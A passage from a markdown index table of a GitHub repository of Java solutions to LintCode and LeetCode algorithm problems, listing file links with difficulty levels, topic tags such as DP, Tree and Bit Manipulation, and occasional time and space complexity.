Pointers]|||Java|15| |N/A|[Unique Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Unique%20Binary%20Search%20Tree.java)|Medium|[BST, DP, Tree]|||Java|16| |N/A|[Largest Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Largest%20Number.java)|Medium|[Sort]|||Java|17| |N/A|[Reverse String.java](https://github.com/awangdev/LintCode/blob/master/Java/Reverse%20String.java)|Easy|[String, Two Pointers]|||Java|18| |N/A|[Triangles.java](https://github.com/awangdev/LintCode/blob/master/Java/Triangles.java)|Medium|[Array, Coordinate DP, DFS, DP, Memoization]|||Java|19| |N/A|[Frog Jump.java](https://github.com/awangdev/LintCode/blob/master/Java/Frog%20Jump.java)|Hard|[DP, Hash Table]|||Java|20| |N/A|[Summary Ranges.java](https://github.com/awangdev/LintCode/blob/master/Java/Summary%20Ranges.java)|Medium|[Array]|||Java|21| |N/A|[Sliding Window Median.java](https://github.com/awangdev/LintCode/blob/master/Java/Sliding%20Window%20Median.java)|Hard|[Design, Heap, MaxHeap, MinHeap, Sliding Window]|||Java|22| |N/A|[Single Number III.java](https://github.com/awangdev/LintCode/blob/master/Java/Single%20Number%20III.java)|Medium|[Bit Manipulation]|||Java|23| |N/A|[Trailing Zeros.java](https://github.com/awangdev/LintCode/blob/master/Java/Trailing%20Zeros.java)|Easy|[Math]|||Java|24| |N/A|[Fast Power.java](https://github.com/awangdev/LintCode/blob/master/Java/Fast%20Power.java)|Medium|[DFS, Divide and Conquer]|||Java|25| |N/A|[Perfect Rectangle.java](https://github.com/awangdev/LintCode/blob/master/Java/Perfect%20Rectangle.java)|Hard|[Design, Geometry, Hash Table]|||Java|26| |N/A|[Total Hamming Distance.java](https://github.com/awangdev/LintCode/blob/master/Java/Total%20Hamming%20Distance.java)|Medium|[Bit Manipulation]|O(n)|O(1), 32-bit array|Java|27| |N/A|[Word Pattern.java](https://github.com/awangdev/LintCode/blob/master/Java/Word%20Pattern.java)|Easy|[]|||Java|28| |N/A|[Two Sum IV - Input is a BST.java](https://github.com/awangdev/LintCode/blob/master/Java/Two%20Sum%20IV%20-%20Input%20is%20a%20BST.java)|Easy|[Tree]|||Java|29| |N/A|[Count 1 in Binary.java](https://github.com/awangdev/LintCode/blob/master/Java/Count%201%20in%20Binary.java)|Easy|[Bit Manipulation]|||Java|30| |N/A|[Two Lists Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/Two%20Lists%20Sum.java)|Medium|[Linked List]|||Java|31| |N/A|[Flatten 2D Vector.java](https://github.com/awangdev/LintCode/blob/master/Java/Flatten%202D%20Vector.java)|Medium|[Design]|||Java|32| |N/A|[Hamming Distance.java](https://github.com/awangdev/LintCode/blob/master/Java/Hamming%20Distance.java)|Easy|[]|||Java|33| |N/A|[Find the Weak Connected Component in the Directed Graph.java](https://github.com/awangdev/LintCode/blob/master/Java/Find%20the%20Weak%20Connected%20Component%20in%20the%20Directed%20Graph.java)|Medium|[Union Find]|||Java|34| |N/A|[Interval Minimum Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Interval%20Minimum%20Number.java)|Medium|[Binary Search, Divide and Conquer, Lint, Segment Tree]|||Java|35| |N/A|[Stone Game.java](https://github.com/awangdev/LintCode/blob/master/Java/Stone%20Game.java)|Medium|[DP]|||Java|36| |N/A|[Longest Increasing Continuous subsequence II.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Increasing%20Continuous%20subsequence%20II.java)|Medium|[Array, Coordinate DP, DP, Memoization]|||Java|37| |N/A|[Plus One.java](https://github.com/awangdev/LintCode/blob/master/Java/Plus%20One.java)|Easy|[Array, Math]|||Java|38| |N/A|[Paint Fence.java](https://github.com/awangdev/LintCode/blob/master/Java/Paint%20Fence.java)|Easy|[DP, Sequence DP]|O(n)|O(n)|Java|39| |N/A|[Line Reflection.java](https://github.com/awangdev/LintCode/blob/master/Java/Line%20Reflection.java)|Medium|[Hash Table, Math]|O(n)|O(n)|Java|40| |N/A|[Binary Representation.java](https://github.com/awangdev/LintCode/blob/master/Java/Binary%20Representation.java)|Hard|[Bit Manipulation, String]|||Java|41| |N/A|[Longest Consecutive Sequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Consecutive%20Sequence.java)|Hard|[Array, Hash Table, Union Find]|||Java|42| |N/A|[Find Minimum in Rotated Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Find%20Minimum%20in%20Rotated%20Sorted%20Array.java)|Medium|[Array, Binary Search]|||Java|43| |N/A|[Binary Tree Longest Consecutive Sequence II.java](https://github.com/awangdev/LintCode/blob/master/Java/Binary%20Tree%20Longest%20Consecutive%20Sequence%20II.java)|Medium|[DFS, Divide and Conquer, Double Recursive, Tree]|||Java|44| |N/A|[Minimum Subarray.java](https://github.com/awangdev/LintCode/blob/master/Java/Minimum%20Subarray.java)|Easy|[Array, DP, Greedy, Sequence DP, Subarray]|O(m)|O(1)|Java|45| |N/A|[Connecting Graph.java](https://github.com/awangdev/LintCode/blob/master/Java/Connecting%20Graph.java)|Medium|[Union Find]|||Java|46| |N/A|[Count of Smaller Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Count%20of%20Smaller%20Number.java)|Medium|[Binary Search, Lint, Segment Tree]|||Java|47| |N/A|[Binary Gap.java](https://github.com/awangdev/LintCode/blob/master/Java/Binary%20Gap.java)|Easy|[Bit Manipulation]|O(n), n = # of bits|O(1)|Java|48| |N/A|[Flip Game II.java](https://github.com/awangdev/LintCode/blob/master/Java/Flip%20Game%20II.java)|Medium|[Backtracking, DFS, DP]|||Java|49| |N/A|[Subtree of Another Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Subtree%20of%20Another%20Tree.java)|Easy|[DFS, Divide and Conquer, Tree]|||Java|50| |N/A|[Binary Tree Level Order Traversal II.java](https://github.com/awangdev/LintCode/blob/master/Java/Binary%20Tree%20Level%20Order%20Traversal%20II.java)|Medium|[BFS, Tree]|||Java|51| |N/A|[Maximum Average Subarray I.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Average%20Subarray%20I.java)|Easy|[Array, Subarray]|O(n)|O(1)|Java|52| |N/A|[IndexMatch.java](https://github.com/awangdev/LintCode/blob/master/Java/IndexMatch.java)|Easy|[]|||Java|53| |N/A|[Walls and Gates.java](https://github.com/awangdev/LintCode/blob/master/Java/Walls%20and%20Gates.java)|Medium|[BFS, DFS]|||Java|54| |N/A|[Decode String.java](https://github.com/awangdev/LintCode/blob/master/Java/Decode%20String.java)|Medium|[DFS, Divide and Conquer, Stack]|||Java|55| |N/A|[The Maze.java](https://github.com/awangdev/LintCode/blob/master/Java/The%20Maze.java)|Medium|[BFS, DFS]|||Java|56| |N/A|[Palindromic Substrings.java](https://github.com/awangdev/LintCode/blob/master/Java/Palindromic%20Substrings.java)|Medium|[DP, String]|||Java|57| |N/A|[Rearrange String k Distance Apart.java](https://github.com/awangdev/LintCode/blob/master/Java/Rearrange%20String%20k%20Distance%20Apart.java)|Hard|[Greedy, Hash Table, Heap]|||Java|58| |N/A|[Count and Say.java](https://github.com/awangdev/LintCode/blob/master/Java/Count%20and%20Say.java)|Easy|[Basic Implementation, String]|||Java|59| |N/A|[Median of Two Sorted Arrays.java](https://github.com/awangdev/LintCode/blob/master/Java/Median%20of%20Two%20Sorted%20Arrays.java)|Hard|[Array, Binary Search, DFS, Divide and Conquer]|||Java|60| |N/A|[Perfect Squares.java](https://github.com/awangdev/LintCode/blob/master/Java/Perfect%20Squares.java)|Medium|[BFS, DP, Math, Partition DP]|||Java|61| |N/A|[Word Search.java](https://github.com/awangdev/LintCode/blob/master/Java/Word%20Search.java)|Medium|[Array, Backtracking, DFS]|||Java|62| |N/A|[Backpack II.java](https://github.com/awangdev/LintCode/blob/master/Java/Backpack%20II.java)|Medium|[Backpack DP, DP]|||Java|63| |N/A|[Reshape the Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/Reshape%20the%20Matrix.java)|Easy|[]|||Java|64| |N/A|[Update Bits.java](https://github.com/awangdev/LintCode/blob/master/Java/Update%20Bits.java)|Medium|[Bit Manipulation]|||Java|65| |N/A|[Triangle Count.java](https://github.com/awangdev/LintCode/blob/master/Java/Triangle%20Count.java)|Medium|[Array]|||Java|66| |N/A|[Remove Duplicate Letters.java](https://github.com/awangdev/LintCode/blob/master/Java/Remove%20Duplicate%20Letters.java)|Hard|[Greedy, Hash Table, Stack]|||Java|67| |N/A|[Permutation Sequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Permutation%20Sequence.java)|Medium|[Backtracking, Math]|||Java|68| |N/A|[House Robber II.java](https://github.com/awangdev/LintCode/blob/master/Java/House%20Robber%20II.java)|Medium|[DP, Sequence DP, Status DP]|||Java|69| |N/A|[O(1) Check Power of 2.java](https://github.com/awangdev/LintCode/blob/master/Java/O(1)%20Check%20Power%20of%202.java)|Easy|[Bit Manipulation]|||Java|70| |N/A|[Letter Combinations of a Phone Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Letter%20Combinations%20of%20a%20Phone%20Number.java)|Medium|[Backtracking, String]|||Java|71| |N/A|[Backspace String Compare.java](https://github.com/awangdev/LintCode/blob/master/Java/Backspace%20String%20Compare.java)|Easy|[Stack, Two Pointers]|||Java|72| |N/A|[Minimum Size Subarray Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/Minimum%20Size%20Subarray%20Sum.java)|Medium|[Array, Binary Search, Subarray, Two Pointers]|O(n)|O(1)|Java|73| |N/A|[Implement Stack using Queues.java](https://github.com/awangdev/LintCode/blob/master/Java/Implement%20Stack%20using%20Queues.java)|Easy|[Design, Stack]|||Java|74| |N/A|[Minimum Absolute Difference in BST.java](https://github.com/awangdev/LintCode/blob/master/Java/Minimum%20Absolute%20Difference%20in%20BST.java)|Easy|[BST]|||Java|75| |N/A|[Maximum Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Binary%20Tree.java)|Medium|[Stack, Tree]|||Java|76| |N/A|[ColorGrid.java](https://github.com/awangdev/LintCode/blob/master/Java/ColorGrid.java)|Medium|[Design, Hash Table]|||Java|77| |N/A|[HashWithArray.java](https://github.com/awangdev/LintCode/blob/master/Java/HashWithArray.java)|Easy|[]|||Java|78| |N/A|[Flood Fill.java](https://github.com/awangdev/LintCode/blob/master/Java/Flood%20Fill.java)|Easy|[DFS]|||Java|79| |N/A|[Construct Binary Tree from Inorder and Postorder Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/Construct%20Binary%20Tree%20from%20Inorder%20and%20Postorder%20Traversal.java)|Medium|[Array, DFS, Divide and Conquer, Tree]|||Java|80| |N/A|[Backpack.java](https://github.com/awangdev/LintCode/blob/master/Java/Backpack.java)|Medium|[Backpack DP, DP]|||Java|81| |N/A|[Longest Common Subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Common%20Subsequence.java)|Medium|[DP, Double Sequence DP, Sequence DP]|||Java|82| |N/A|[Peeking Iterator.java](https://github.com/awangdev/LintCode/blob/master/Java/Peeking%20Iterator.java)|Medium|[Design]|||Java|83| |N/A|[Orderly Queue.java](https://github.com/awangdev/LintCode/blob/master/Java/Orderly%20Queue.java)|Hard|[Math, String]|||Java|84| |N/A|[QuickSort.java](https://github.com/awangdev/LintCode/blob/master/Java/QuickSort.java)|Medium|[Quick Sort, Sort]|||Java|85| |N/A|[Maximal Rectangle.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximal%20Rectangle.java)|Hard|[Array, DP, Hash Table, Stack]|||Java|86| |N/A|[Expression Evaluation.java](https://github.com/awangdev/LintCode/blob/master/Java/Expression%20Evaluation.java)|Hard|[Binary Tree, DFS, Expression Tree, Minimum Binary Tree, Stack]|||Java|87| |N/A|[Subtree.java](https://github.com/awangdev/LintCode/blob/master/Java/Subtree.java)|Easy|[DFS, Tree]|||Java|88| |N/A|[LFU Cache.java](https://github.com/awangdev/LintCode/blob/master/Java/LFU%20Cache.java)|Hard|[Design, Hash Table]|||Java|89| |N/A|[Cosine Similarity.java](https://github.com/awangdev/LintCode/blob/master/Java/Cosine%20Similarity.java)|Easy|[Basic Implementation]|||Java|90| |N/A|[Scramble String.java](https://github.com/awangdev/LintCode/blob/master/Java/Scramble%20String.java)|Hard|[DP, Interval DP, String]|||Java|91| |N/A|[Redundant Connection.java](https://github.com/awangdev/LintCode/blob/master/Java/Redundant%20Connection.java)|Medium|[BFS, DFS, Graph, Tree, Union Find]|||Java|92| |N/A|[Rotate List.java](https://github.com/awangdev/LintCode/blob/master/Java/Rotate%20List.java)|Medium|[Linked List, Two Pointers]|||Java|93| |N/A|[Swap Nodes in Pairs.java](https://github.com/awangdev/LintCode/blob/master/Java/Swap%20Nodes%20in%20Pairs.java)|Medium|[Linked List]|||Java|94| |N/A|[Longest Increasing Continuous subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Increasing%20Continuous%20subsequence.java)|Easy|[Array, Coordinate DP, DP]|||Java|95| |N/A|[K Edit Distance.java](https://github.com/awangdev/LintCode/blob/master/Java/K%20Edit%20Distance.java)|Hard|[DP, Double Sequence DP, Sequence DP, Trie]|||Java|96| |N/A|[Combinations.java](https://github.com/awangdev/LintCode/blob/master/Java/Combinations.java)|Medium|[Backtracking, Combination, DFS]|||Java|97| |N/A|[Max Area of Island.java](https://github.com/awangdev/LintCode/blob/master/Java/Max%20Area%20of%20Island.java)|Easy|[Array, DFS]|||Java|98| |N/A|[Sort List.java](https://github.com/awangdev/LintCode/blob/master/Java/Sort%20List.java)|Medium|[Divide and Conquer, Linked List, Merge Sort, Sort]|||Java|99| |N/A|[Find Peak Element.java](https://github.com/awangdev/LintCode/blob/master/Java/Find%20Peak%20Element.java)|Medium|[Array, Binary Search]|||Java|100| |N/A|[Word Search II.java](https://github.com/awangdev/LintCode/blob/master/Java/Word%20Search%20II.java)|Hard|[Backtracking, DFS, Trie]|||Java|101| |N/A|[K Empty Slots.java](https://github.com/awangdev/LintCode/blob/master/Java/K%20Empty%20Slots.java)|Hard|[Array, BST, TreeSet]|||Java|102| |N/A|[Gray Code.java](https://github.com/awangdev/LintCode/blob/master/Java/Gray%20Code.java)|Medium|[Backtracking]|||Java|103| |N/A|[Encode and Decode TinyURL.java](https://github.com/awangdev/LintCode/blob/master/Java/Encode%20and%20Decode%20TinyURL.java)|Medium|[Hash Table, Math]|||Java|104| |N/A|[Game of Life.java](https://github.com/awangdev/LintCode/blob/master/Java/Game%20of%20Life.java)|Medium|[Array]|||Java|105| |N/A|[Compare Version Numbers.java](https://github.com/awangdev/LintCode/blob/master/Java/Compare%20Version%20Numbers.java)|Medium|[String]|||Java|106| |N/A|[Singleton.java](https://github.com/awangdev/LintCode/blob/master/Java/Singleton.java)|Easy|[Design]|||Java|107| |N/A|[Ugly Number.java](https://github.com/awangdev/LintCode/blob/master/Java/Ugly%20Number.java)|Medium|[Math]|||Java|108| |N/A|[Russian Doll Envelopes.java](https://github.com/awangdev/LintCode/blob/master/Java/Russian%20Doll%20Envelopes.java)|Hard|[Binary Search, Coordinate DP, DP]|||Java|109| |N/A|[Rehashing.java](https://github.com/awangdev/LintCode/blob/master/Java/Rehashing.java)|Medium|[Hash Table]|||Java|110| |N/A|[Kth Smallest Sum In Two Sorted Arrays.java](https://github.com/awangdev/LintCode/blob/master/Java/Kth%20Smallest%20Sum%20In%20Two%20Sorted%20Arrays.java)|Hard|[]|||Java|111| |N/A|[Longest Common Substring.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Common%20Substring.java)|Medium|[DP, Double Sequence DP, Sequence DP, String]|||Java|112| |N/A|[Rotate Image.java](https://github.com/awangdev/LintCode/blob/master/Java/Rotate%20Image.java)|Medium|[Array, Enumeration]|||Java|113| |N/A|[Backpack III.java](https://github.com/awangdev/LintCode/blob/master/Java/Backpack%20III.java)|Hard|[Backpack DP, DP]|||Java|114| |N/A|[Combination Sum IV.java](https://github.com/awangdev/LintCode/blob/master/Java/Combination%20Sum%20IV.java)|Medium|[Array, Backpack DP, DP]|||Java|115| |N/A|[Number of Longest Increasing Subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Number%20of%20Longest%20Increasing%20Subsequence.java)|Medium|[Coordinate DP, DP]|O(n^2)||Java|116| |N/A|[Permutation Index.java](https://github.com/awangdev/LintCode/blob/master/Java/Permutation%20Index.java)|Easy|[]|||Java|117| |N/A|[4Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/4Sum.java)|Medium|[Hash Table]|||Java|118| |N/A|[Shortest Palindrome.java](https://github.com/awangdev/LintCode/blob/master/Java/Shortest%20Palindrome.java)|Hard|[KMP, String]|||Java|119| |N/A|[Convert Sorted Array to Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Convert%20Sorted%20Array%20to%20Binary%20Search%20Tree.java)|Easy|[DFS, Divide and Conquer, Tree]|||Java|120| |N/A|[Populating Next Right Pointers in Each Node.java](https://github.com/awangdev/LintCode/blob/master/Java/Populating%20Next%20Right%20Pointers%20in%20Each%20Node.java)|Medium|[DFS, Divide and Conquer, Tree]|||Java|121| |N/A|[Space Replacement.java](https://github.com/awangdev/LintCode/blob/master/Java/Space%20Replacement.java)|Medium|[String]|||Java|122| |N/A|[Contiguous Array.java](https://github.com/awangdev/LintCode/blob/master/Java/Contiguous%20Array.java)|Medium|[Hash Table]|||Java|123| |N/A|[Reverse Linked List II .java](https://github.com/awangdev/LintCode/blob/master/Java/Reverse%20Linked%20List%20II%20.java)|Medium|[Linked List]|||Java|124| |N/A|[Palindrome Pairs.java](https://github.com/awangdev/LintCode/blob/master/Java/Palindrome%20Pairs.java)|Hard|[Hash Table, String, Trie]|||Java|125| |N/A|[Find Peak Element II.java](https://github.com/awangdev/LintCode/blob/master/Java/Find%20Peak%20Element%20II.java)|Hard|[Binary Search, DFS, Divide and Conquer]|||Java|126| |N/A|[Minimum Height Trees.java](https://github.com/awangdev/LintCode/blob/master/Java/Minimum%20Height%20Trees.java)|Medium|[BFS, Graph]|||Java|127| |N/A|[Longest Substring Without Repeating Characters.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Substring%20Without%20Repeating%20Characters.java)|Medium|[Hash Table, String, Two Pointers]|||Java|128| |N/A|[Fraction to Recurring Decimal.java](https://github.com/awangdev/LintCode/blob/master/Java/Fraction%20to%20Recurring%20Decimal.java)|Medium|[Hash Table, Math]|||Java|129| |N/A|[Wiggle Sort.java](https://github.com/awangdev/LintCode/blob/master/Java/Wiggle%20Sort.java)|Medium|[Array, Sort]|||Java|130| |N/A|[Reverse Words in a String II.java](https://github.com/awangdev/LintCode/blob/master/Java/Reverse%20Words%20in%20a%20String%20II.java)|Medium|[String]|||Java|131| |N/A|[Remove Node in Binary Search Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Remove%20Node%20in%20Binary%20Search%20Tree.java)|Hard|[BST]|||Java|132| |N/A|[Reorder List.java](https://github.com/awangdev/LintCode/blob/master/Java/Reorder%20List.java)|Medium|[Linked List]|||Java|133| |N/A|[Redundant Connection II.java](https://github.com/awangdev/LintCode/blob/master/Java/Redundant%20Connection%20II.java)|Hard|[DFS, Graph, Tree, Union Find]|||Java|134| |N/A|[[tool] Quick Select - Median.java](https://github.com/awangdev/LintCode/blob/master/Java/[tool]%20Quick%20Select%20-%20Median.java)|Easy|[Array, Lint, Quick Select, Quick Sort, Two Pointers]|O(n)|O(logN)|Java|135| |N/A|[Swap Bits.java](https://github.com/awangdev/LintCode/blob/master/Java/Swap%20Bits.java)|Easy|[Bit Manipulation]|||Java|136| |N/A|[Friends Of Appropriate Ages.java](https://github.com/awangdev/LintCode/blob/master/Java/Friends%20Of%20Appropriate%20Ages.java)|Medium|[Array, Math]|||Java|137| |N/A|[Longest Increasing Subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Increasing%20Subsequence.java)|Medium|[Binary Search, Coordinate DP, DP, Memoization]|O(n^2) dp, O(nLogN) binary search|O(n)|Java|138| |N/A|[Power of Two.java](https://github.com/awangdev/LintCode/blob/master/Java/Power%20of%20Two.java)|Easy|[Bit Manipulation, Math]|||Java|139| |N/A|[Min Stack.java](https://github.com/awangdev/LintCode/blob/master/Java/Min%20Stack.java)|Easy|[Design, Stack]|||Java|140| |N/A|[Count of Smaller Number before itself.java](https://github.com/awangdev/LintCode/blob/master/Java/Count%20of%20Smaller%20Number%20before%20itself.java)|Hard|[]|||Java|141| |N/A|[Majority Number III.java](https://github.com/awangdev/LintCode/blob/master/Java/Majority%20Number%20III.java)|Medium|[Hash Table, Linked List]|||Java|142| |N/A|[Number of Digit One.java](https://github.com/awangdev/LintCode/blob/master/Java/Number%20of%20Digit%20One.java)|Hard|[Math]|||Java|143| |N/A|[Tweaked Identical Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Tweaked%20Identical%20Binary%20Tree.java)|Easy|[DFS, Tree]|||Java|144| |N/A|[Search Range in Binary Search Tree .java](https://github.com/awangdev/LintCode/blob/master/Java/Search%20Range%20in%20Binary%20Search%20Tree%20.java)|Medium|[BST, Binary Tree]|||Java|145| |N/A|[Best Time to Buy and Sell Stock III.java](https://github.com/awangdev/LintCode/blob/master/Java/Best%20Time%20to%20Buy%20and%20Sell%20Stock%20III.java)|Hard|[Array, DP, Sequence DP]|||Java|146| |N/A|[Design Search Autocomplete System.java](https://github.com/awangdev/LintCode/blob/master/Java/Design%20Search%20Autocomplete%20System.java)|Hard|[Design, Hash Table, MinHeap, PriorityQueue, Trie]|input: O(x), where x = possible words, constructor: O(mn) m = max length, n = # of words|O(n^2), n = # of possible words, n = # of trie levels; mainlay saving the `Map<S, freq>`|Java|147| |N/A|[Subsets II.java](https://github.com/awangdev/LintCode/blob/master/Java/Subsets%20II.java)|Medium|[Array, BFS, Backtracking, DFS]|O(2^n)||Java|148| |N/A|[One Edit Distance.java](https://github.com/awangdev/LintCode/blob/master/Java/One%20Edit%20Distance.java)|Medium|[String]|||Java|149| |N/A|[Segment Tree Modify.java](https://github.com/awangdev/LintCode/blob/master/Java/Segment%20Tree%20Modify.java)|Medium|[Binary Tree, DFS, Divide and Conquer, Lint, Segment Tree]|||Java|150| |N/A|[Distinct Subsequences.java](https://github.com/awangdev/LintCode/blob/master/Java/Distinct%20Subsequences.java)|Hard|[DP, String]|||Java|151| |N/A|[Insert Node in a Binary Search Tree .java](https://github.com/awangdev/LintCode/blob/master/Java/Insert%20Node%20in%20a%20Binary%20Search%20Tree%20.java)|Easy|[BST]|||Java|152| |N/A|[Container With Most Water.java](https://github.com/awangdev/LintCode/blob/master/Java/Container%20With%20Most%20Water.java)|Medium|[Array, Two Pointers]|||Java|153| |N/A|[Word Ladder.java](https://github.com/awangdev/LintCode/blob/master/Java/Word%20Ladder.java)|Medium|[BFS]|||Java|154| |N/A|[Single Number II.java](https://github.com/awangdev/LintCode/blob/master/Java/Single%20Number%20II.java)|Medium|[Bit Manipulation]|||Java|155| |N/A|[Heaters.java](https://github.com/awangdev/LintCode/blob/master/Java/Heaters.java)|Easy|[]|||Java|156| |N/A|[Kth Smallest Element in a BST.java](https://github.com/awangdev/LintCode/blob/master/Java/Kth%20Smallest%20Element%20in%20a%20BST.java)|Medium|[BST, DFS, Stack, Tree]|||Java|157| |N/A|[Robot Room Cleaner.java](https://github.com/awangdev/LintCode/blob/master/Java/Robot%20Room%20Cleaner.java)|Hard|[Backtracking, DFS]|||Java|158| |N/A|[Coins in a Line II.java](https://github.com/awangdev/LintCode/blob/master/Java/Coins%20in%20a%20Line%20II.java)|Medium|[Array, DP, Game Theory, Memoization, MiniMax]|||Java|159| |N/A|[Partition List.java](https://github.com/awangdev/LintCode/blob/master/Java/Partition%20List.java)|Medium|[Linked List, Two Pointers]|||Java|160| |N/A|[Classical Binary Search.java](https://github.com/awangdev/LintCode/blob/master/Java/Classical%20Binary%20Search.java)|Easy|[Binary Search]|||Java|161| |N/A|[Wood Cut.java](https://github.com/awangdev/LintCode/blob/master/Java/Wood%20Cut.java)|Medium|[Binary Search]|||Java|162| |N/A|[Connecting Graph III.java](https://github.com/awangdev/LintCode/blob/master/Java/Connecting%20Graph%20III.java)|Medium|[Union Find]|||Java|163| |N/A|[Invert Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/Invert%20Binary%20Tree.java)|Easy|[BFS, DFS, Tree]|||Java|164| |N/A|[Remove Duplicates from Unsorted List.java](https://github.com/awangdev/LintCode/blob/master/Java/Remove%20Duplicates%20from%20Unsorted%20List.java)|Medium|[Linked List]|||Java|165| |N/A|[Maximum Size Subarray Sum Equals k.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Size%20Subarray%20Sum%20Equals%20k.java)|Medium|[Hash Table, PreSum, Subarray]|O(n)|O(n)|Java|166| |N/A|[The Smallest Difference.java](https://github.com/awangdev/LintCode/blob/master/Java/The%20Smallest%20Difference.java)|Medium|[Array, Sort, Two Pointers]|||Java|167| |N/A|[Unique Binary Search Tree II.java](https://github.com/awangdev/LintCode/blob/master/Java/Unique%20Binary%20Search%20Tree%20II.java)|Medium|[BST, DP, Divide and Conquer, Tree]|||Java|168| |N/A|[Encode and Decode Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/Encode%20and%20Decode%20Strings.java)|Medium|[String]|||Java|169| |N/A|[Remove Duplicates from Sorted List II.java](https://github.com/awangdev/LintCode/blob/master/Java/Remove%20Duplicates%20from%20Sorted%20List%20II.java)|Medium|[Linked List]|||Java|170| |N/A|[Subarray Sum II.java](https://github.com/awangdev/LintCode/blob/master/Java/Subarray%20Sum%20II.java)|Hard|[Array, Binary Search, Two Pointers]|||Java|171| |N/A|[Matrix Zigzag Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/Matrix%20Zigzag%20Traversal.java)|Easy|[]|||Java|172| |N/A|[Ones and Zeroes.java](https://github.com/awangdev/LintCode/blob/master/Java/Ones%20and%20Zeroes.java)|Hard|[DP]|||Java|173| |N/A|[Number of Connected Components in an Undirected Graph.java](https://github.com/awangdev/LintCode/blob/master/Java/Number%20of%20Connected%20Components%20in%20an%20Undirected%20Graph.java)|Medium|[BFS, DFS, Graph, Union Find]|||Java|174| |N/A|[Submatrix Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/Submatrix%20Sum.java)|Medium|[Array, Hash Table, PreSum]|||Java|175| |N/A|[Zigzag Iterator.java](https://github.com/awangdev/LintCode/blob/master/Java/Zigzag%20Iterator.java)|Medium|[BST]|||Java|176| |N/A|[Find the Connected Component in the Undirected Graph.java](https://github.com/awangdev/LintCode/blob/master/Java/Find%20the%20Connected%20Component%20in%20the%20Undirected%20Graph.java)|Medium|[BFS, DFS]|||Java|177| |N/A|[Implement Stack.java](https://github.com/awangdev/LintCode/blob/master/Java/Implement%20Stack.java)|Easy|[Stack]|||Java|178| |N/A|[Number of Airplane in the sky.java](https://github.com/awangdev/LintCode/blob/master/Java/Number%20of%20Airplane%20in%20the%20sky.java)|Medium|[Array, Interval, PriorityQueue, Sort, Sweep Line]|||Java|179| |N/A|[Surrounded Regions.java](https://github.com/awangdev/LintCode/blob/master/Java/Surrounded%20Regions.java)|Medium|[BFS, DFS, Matrix DFS, Union Find]|||Java|180| |N/A|[Wildcard Matching.java](https://github.com/awangdev/LintCode/blob/master/Java/Wildcard%20Matching.java)|Hard|[Backtracking, DP, Double Sequence DP, Greedy, Sequence DP, String]|||Java|181| |N/A|[Expression Add Operators.java](https://github.com/awangdev/LintCode/blob/master/Java/Expression%20Add%20Operators.java)|Hard|[Backtracking, DFS, Divide and Conquer, String]|O(4^n)|O(4^n)|Java|182| |N/A|[Cracking the Safe.java](https://github.com/awangdev/LintCode/blob/master/Java/Cracking%20the%20Safe.java)|Hard|[DFS, Greedy, Math]|||Java|183| |N/A|[Unique Word Abbreviation.java](https://github.com/awangdev/LintCode/blob/master/Java/Unique%20Word%20Abbreviation.java)|Medium|[Design, Hash Table]|||Java|184| |N/A|[Best Time to Buy and Sell Stock IV.java](https://github.com/awangdev/LintCode/blob/master/Java/Best%20Time%20to%20Buy%20and%20Sell%20Stock%20IV.java)|Hard|[DP, Sequence DP]|||Java|185| |N/A|[Find Minimum in Rotated Sorted Array II.java](https://github.com/awangdev/LintCode/blob/master/Java/Find%20Minimum%20in%20Rotated%20Sorted%20Array%20II.java)|Hard|[Array, Binary Search]|||Java|186| |N/A|[Longest Valid Parentheses.java](https://github.com/awangdev/LintCode/blob/master/Java/Longest%20Valid%20Parentheses.java)|Hard|[Coordinate DP, Stack, String]|||Java|187| |N/A|[Ugly Number II.java](https://github.com/awangdev/LintCode/blob/master/Java/Ugly%20Number%20II.java)|Medium|[DP, Enumeration, Heap, Math, PriorityQueue]|O(n)|O(n)|Java|188| |N/A|[Add Two Numbers II.java](https://github.com/awangdev/LintCode/blob/master/Java/Add%20Two%20Numbers%20II.java)|Medium|[Linked List]|||Java|189| |N/A|[Maximum Average Subarray II.java](https://github.com/awangdev/LintCode/blob/master/Java/Maximum%20Average%20Subarray%20II.java)|Review|[Array, Binary Search, PreSum]|||Java|190| |N/A|[Expression Tree Build.java](https://github.com/awangdev/LintCode/blob/master/Java/Expression%20Tree%20Build.java)|Hard|[Binary Tree, Expression Tree, Minimum Binary Tree, Stack]|||Java|191| |N/A|[Merge Two Binary Trees.java](https://github.com/awangdev/LintCode/blob/master/Java/Merge%20Two%20Binary%20Trees.java)|Easy|[DFS, Tree]|||Java|192| |N/A|[Copy Books.java](https://github.com/awangdev/LintCode/blob/master/Java/Copy%20Books.java)|Hard|[Binary Search, DP, Partition DP]|||Java|193| |N/A|[Power of Three.java](https://github.com/awangdev/LintCode/blob/master/Java/Power%20of%20Three.java)|Easy|[Math]|||Java|194| |N/A|[Sort Colors 